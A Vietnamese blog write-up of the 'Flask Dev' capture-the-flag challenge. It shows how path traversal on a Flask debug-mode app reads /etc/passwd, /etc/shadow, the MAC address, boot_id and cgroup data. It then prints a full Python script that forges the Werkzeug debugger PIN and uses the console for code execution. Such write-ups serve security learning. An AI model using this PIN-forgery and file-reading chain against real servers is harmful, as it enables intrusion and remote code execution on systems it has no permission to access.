Post

Write-Up Flask Dev

ĐỊA CHỈ: Flask Dev

Challenge Details

The flask application is running in debug mode. Can you hack it?

(Rất ngắn gọn và súc tích 🙂).

Tags

  • Pin Code
  • Flask
  • Debug
  • Remote Code Execution

Web Analysis:

Tại / trang web:

Hiển thị rất là chi tiết dòng chuổi Hello !

Dùng burpsuite bắt cũng được 2 gói tin không có gì đặc biệt 🙂

Nhiệm vụ là Remote Access Control (Kiểm soát quyền truy cập) chỉ với nhiêu thông tin này.

Untitled

Sau khi mò 77 49 không có thông tin gì có thể khai thác được trên trang web mình tiến hành sử dụng các tools Recon.

RECON:

Mình sử dụng Scan trên Burpsuite Pro ( bạn nào chưa cài thì ở Blog mình có hướng dẫn).

Untitled

Mình thấy /robots.txt đỏ như chưa từng được đỏ.

Untitled

Mình vào thì thấy nó hiện ra error và tìm file không thấy. +1 IDEA: Tại vì cái file ở thư mục / nó không có nên trang web báo lỗi là FileNotFoundError. Nếu giả sử mình truy cập vào đúng file đúng đường dẫn thì nó sẽ hiện ra gì đó.

Mà giao diện này các bạn sẽ thỉnh thoảng thấy các challenge build từ flask python.

Untitled

Tại dòng bug này có ô console nhưng nó yêu cầu nhập PIN CODE đúng tags gợi ý đề bài, vậy giờ mình làm sao để tìm ra PIN CODE.

Untitled

Lúc này mình quan sát thấy nó báo bug ở 1 số đường dẫn và mình thử truy cập xem được không.

Untitled

Kết quả vẫn không được.

Mà giao diện ở mỗi trang web tại đường dẫn / thường là /var/www/html → /

Nên việc mình truy cập vào như vậy trang web sẽ hiểu là /var/www/html/usr/local/lib/python3.8/site-packages/flask/app.py

Nên hơi bị sai sai…

Bắt đầu mình test thử bug LFI/Path Traversal. ( Lúc đó mình kiếm gì test đại chứ không còn IDEA nào mới 😥).

À thường các bug LFI thường có parameter đi theo sau PATH kiểu ?param= mà hiện tại trang web này không có nên mình test từ /

Nhưng chưa kịp TEST thì con Burp Suite báo có lổ hổng LFI luôn :)) .

Untitled

Có tương lai hơn rồi đó 🙂 .

Untitled

+1 user: cookiehanhoan

Giờ mình tiến hành xem các file trong hệ thống, mà challenge này không có source, nhưng lúc web bị bug thì lộ nè.

Untitled

Xem thử

Untitled

Tèn ten, nhưng hơi dài mình copy qua VSCODE xem cho dễ. (khoảng 2215 dòng chớ mấy 😊)

Sau khi nhờ chatgpt đọc 77 49 lần không có manh mối 😓

Mình tiến hành search từ Khóa “FLASK EXPLOIT, CONSOLE PIN CODE EXPLOIT PYTHON…”

Thì có trên trang HACKTRICK : TẠI ĐÂY

Thì trong bài có để là “BẠN CÓ THỂ ĐẢO NGƯỢC THUẬT TOÁN VÀ TẠO RA MÃ PIN” Từ

python3.5/site-packages/werkzeug/debug/__init__.py

nhưng trang web là Python3.8 mình thay đỗi đường dẫn và thử xem file.(lần này đỡ hơn chỉ có 534 dòng).

Untitled

Dựa theo trang Hacktrick thì nó dễ dàng hơn

Untitled

Untitled

Ta đi tìm từng manh mối.

  • Mảnh ghép số 1.

    Untitled

  • Mảnh ghép số 2.

    Địa chỉ MAC ta chuyển lại thành DECIMAL nha.

    11820914965943

    Tools: CLICK

    Untitled

Untitled

  • Mảnh ghép số 3.

    Mình thử /etc/machine-id không được nên chuyển sang /proc/sys/kernel/random/boot_id.

    fe951ca9-6815-4da7-aec4-b5a04c351f34

    Untitled

    Untitled

  • Mảnh ghép số 4.

    Untitled

    Untitled

    Nên mình sẽ lấy từ đoạn đuôi nha.

    11:devices:/kubepods.slice/kubepods-burstable.slice/kubepods-burstable-pod4a591b2c_0e3d_4645_84e8_bd29cb98e576.slice/cri-containerd-c4da6254edaffec84c8d165a4286f05f82465ee33b88febc42f783d541306329.scope

    Đủ mảnh ghép rồi tiến hành EXPLOIT.

EXPLOIT CONSOLE PIN CODE:

KẾT HỢP :

  • USER : ROOT
  • MODNAME: Flask.py
  • getattr(app, '__name__', getattr (app .__ class__, '__name__')) is Flask
  • getattr(mod, '__file__', None) is the absolute path of app.py : /usr/local/lib/python3.8/site-packages/flask/app.py
  • MẢNH GHÉP 1
  • MẢNH GHÉP 2 : 11820914965943
  • MẢNH GHÉP 3 : fe951ca9-6815-4da7-aec4-b5a04c351f34
  • MẢNH GHÉP 4 : cri-containerd-c4da6254edaffec84c8d165a4286f05f82465ee33b88febc42f783d541306329.scope

Nhưng khúc này mình đã phải mất 2 ngày :)

Kéo lại lên trên khúc /etc/shadow mình cứ ngỡ là user cookiehanhoan nhưng nó là user root 🙂

Nhờ sự khác biệt này.

Các user đều có dấu chấm thang theo mình hiểu là nó bị permission còn user root là all quyền 🙂

Thay đỗi và thành công 🙂

Untitled

PALOAD :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
import hashlib
from itertools import chain

probably_public_bits = [
    "root", # /etc/passwd
    "flask.app",
    "Flask",
    "/usr/local/lib/python3.8/site-packages/flask/app.py",
]

private_bits = [
    "11820914965943",  # MAC -> int /sys/class/net/eth0/address
    "fe951ca9-6815-4da7-aec4-b5a04c351f34cri-containerd-c4da6254edaffec84c8d165a4286f05f82465ee33b88febc42f783d541306329.scope"
        # /proc/sys/kernel/random/boot_id + /proc/self/cgroup
]

h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode("utf-8")
    h.update(bit)
h.update(b"cookiesalt")

cookie_name = f"__wzd{h.hexdigest()[:20]}"

rv = None
num = None

if num is None:
    h.update(b"pinsalt")
    num = f"{int(h.hexdigest(), 16):09d}"[:9]

if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = "-".join(
                num[x: x + group_size].rjust(group_size, "0")
                for x in range(0, len(num), group_size)
            )
            break
    else:
        rv = num

print(rv)

Chổ dài này là Mảnh ghép 3 + 4 mình có để tag ghi chú.

Untitled

RUN CODE

Untitled

Lúc này ta có mã Pin rồi.

Nhập thử

Untitled

Truy cập và /console

Untitled

Lúc này có 1 terminal có thể thực thi code python giờ mình gọi hàm system và xem file

Untitled

DONEEE 🙂 Bài này khá phê… tốn thời gian tận mấy ngày :))

Cảm ơn đã đọc blogs của mình nếu thấy hay nhớ nhận xét giúp mình ở đây nè, để mình biết cải thêm chất lượng write up.

THANK YOU 😗

This post is licensed under CC BY 4.0 by the author.

Trending Tags